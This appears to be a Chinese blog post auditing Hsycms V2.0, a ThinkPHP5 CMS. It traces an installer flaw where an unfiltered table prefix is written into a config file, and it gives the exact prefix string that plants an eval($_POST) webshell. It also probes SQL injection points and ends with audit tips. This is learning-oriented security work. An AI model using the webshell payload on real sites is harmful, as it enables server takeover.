zoukankan      html  css  js  c++  java
  • PHP-CMS代码审计(1)

    由于刚学习过thinkphp5框架,就找了一个使用该框架的cms,hsycms V2.0,Hsycms企业网站管理系统V2.0下载地址:https://files.cnblogs.com/files/b1gstar/Hsycms%E4%BC%81%E4%B8%9A%E7%BD%91%E7%AB%99%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FV2.zip

    同时已有大佬审计了此cms,我也借鉴学习下。https://xz.aliyun.com/t/5770

    1、Getshell 漏洞 全局搜索file_put_contents php的向文件写内容函数

     要利用该函数,必须保证写的内容可控,逐个查看,注意到cms中定义的write_config函数,其中有

     1 function write_config($config){
     2     if(is_array($config)){
     3         //读取配置内容
     4         $conf = file_get_contents(APP_PATH . 'install/data/db.tpl');
     5         //替换配置项
     6         foreach ($config as $name => $value) {
     7             $conf = str_replace("[{$name}]", $value, $conf);
     8         }
     9 
    10         file_put_contents(APP_PATH.'common/install.lock', 'ok');
    11 
    12         //写入应用配置文件
    13         if(file_put_contents(APP_PATH . 'database.php', $conf)){
    14             show_msg('配置文件写入成功');
    15         } else {

    然后全局搜索write_config,看看哪里调用了。只有install模块中的index.php调用了,也就是说在cms开始使用时,要求写入配置文件时,使用了该函数。

                //创建数据表
                create_tables($db, $dbconfig['prefix']);
                //注册创始人帐号
                $admin = session('admin_info');
                register_administrator($db, $dbconfig['prefix'], $admin);
    
                //创建配置文件
                $conf = write_config($dbconfig);

    向上翻,即可看到变量$dbconfig来源。

                //检测数据库配置
                if (!is_array($db) || empty($db[0]) || empty($db[1]) || empty($db[2]) || empty($db[3]) ||  empty($db[5]) || empty($db[6])) {
                    return $this->error('请填写完整的数据库配置');
                } else {
                    $DB = array();
                    list($DB['type'], $DB['hostname'], $DB['database'], $DB['username'], $DB['password'],
                        $DB['hostport'], $DB['prefix']) = $db;
                        
                    //缓存数据库配置
                    session('db_config', $DB);

    写入的内容丝毫没有过滤。也就是说此处有写shell的可能。为啥说只是有可能呢,因为cms检测common/install.lock文件不存在时,才会进入到初始化页面,才可以写配置。要想利用该漏洞,可以结合任意文件删除漏洞,把install.lock文件删除才行。至于如何删除,我们先放一放。先想一想这个漏洞如何利用

    可写入内容的页面如下:

    尝试了在数据库名写shell,数据库可以创建成功,但是建表的时候就失败了。

    剩下可写的只有前缀了。发现前缀在写入文件之前,要先经过修改管理员密码的sql语句执行。

    即update `[前缀]user` set password='[PASS]' where username='admin';

    我随便把前缀改了下,如sy_`;phpinfo();  执行见下图:

    这样是肯定是出错的。先把前面语句补齐。

    sy_user` set password=1;# 要把shell写配置文件,要考虑到闭合单引号,sy_user` set password=1 or '.@eval($_POST["cnblog"]).'# 

     连接成功:

     2、检查sql注入

    先全局搜索X_FORWARDED_FOR,因为这里经常会出问题。。

    向下翻,发现没有任何过滤,就插入到数据库了。有个前提条件,就是useragent头中要包含baidu或者google之类。

     我们尝试把x_forward_for的值设为单引号,然后跟进下,发现sql语句为

    INSERT INTO `sy_spider` (`title` , `url` , `oldurl` , `ip` , `datetime`) VALUES (:data__title , :data__url , NULL , :data__ip , :data__datetime) 

     执行之后,发现单引号已经插入到数据库了。这个时候要来确定下是否使用pdo预防注入,PHP的PDO扩展的 prepare 方法,是可以避免sql injection 风险。举个pdo的例子:

    $dbh = new PDO("mysql:host=localhost; dbname=demo", "user", "pass");
    $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //禁用prepared statements的仿真效果
    $dbh->exec("set names 'utf8'"); 
    $sql="select * from test where name = ? and password = ?";
    $stmt = $dbh->prepare($sql); 
    $exeres = $stmt->execute(array($testname, $pass)); 
    if ($exeres) { 
    while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
        print_r($row);
    }
    }
    $dbh = null;

     当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的,SQL攻击者没有一点机会

    在这个cms中,是使用pdo的。见下图:

     同样,我们在Article模块中,发现一个可控的输入点

    $title   = urldecode(input('title'));

    没有过滤就带入了查询:

    if($title!=""){          
    $where['title'] = array('like','%'.$title.'%');
    }

    db('article')->where($where)->order($order)->paginate(9,false,['query' => request()->param()]);

    但是同样被pdo处理掉。见下图

     难道就没有注入吗?我们再看看show模块

    可控输入的语句:

    $id = input('id');

    $one = db('article')->where('id',$id)->find();

    我们这样传参:

     这个查询语句db('article')->where('id',$id)->find();经过pdo处理,正常执行了,我们接着往下看:

    $data['pn'] = prevNext($id,$navrow['entitle'],$one);    

    id参数被带入了prevnext函数,继续跟进:

    $prev=db('article')->field("id,title")->where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")->order('id desc')->limit('1')->find();  

    发现这里使用了自行拼接的语句:where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")

    我们在浏览器地址栏中把payload设置如下,页面返回了正常数据:

    有了这些经验,我们就在hsycms模块中直接看是否有拼接语句,来快速检查sql注入。

    我们发现这个cms使用的扩展RBAC类中有拼接语句,但是变量$authid不可控。

    3、审计后台

    后台也就是hsycms模块,看了下,未发现漏洞(开始发的那个大佬的文章,说后台存在任意下载和任意文件删除,我下载的这个cms版本中没有那两个函数)。

    4、总结

    通过这次审计,学习到两点:

    1、我们可以再快速审计时候,全局搜索file_put_contents 、“function del”、“function down”,然后逆向追踪变量是否可控。

    2、在诸如thinkphp这种mvc框架中,像快速发现sql注入,就直接找拼接语句,如where("id < {$id} and nid={$one['nid']} and cid={$one['cid']}")。可以搜索 “ < {”、“='{$“这种。

     3、快速定位tp框架版本,全局搜索version

    4、phpstorm快捷键,F7单步调试,F8快速调试,不进入函数内部。F4定位变量。ALT+SHIFT+F 全局搜索。

  • 相关阅读:
    Dede CMS如何在文章中增加“附件下载”操作说明
    仿站模仿的三个网站
    PHP面相对象中的重载与重写
    面向对象思想
    最常用的正则表达式
    PHP第二阶段学习 一、php的基本语法
    PHP isset()与empty()的使用区别详解
    mysql索引总结----mysql 索引类型以及创建
    MySQL实现当前数据表的所有时间都增加或减少指定的时间间隔
    T-SQL语句以及几个数据库引擎
  • 原文地址:https://www.cnblogs.com/b1gstar/p/12243787.html
Copyright © 2011-2022 走看看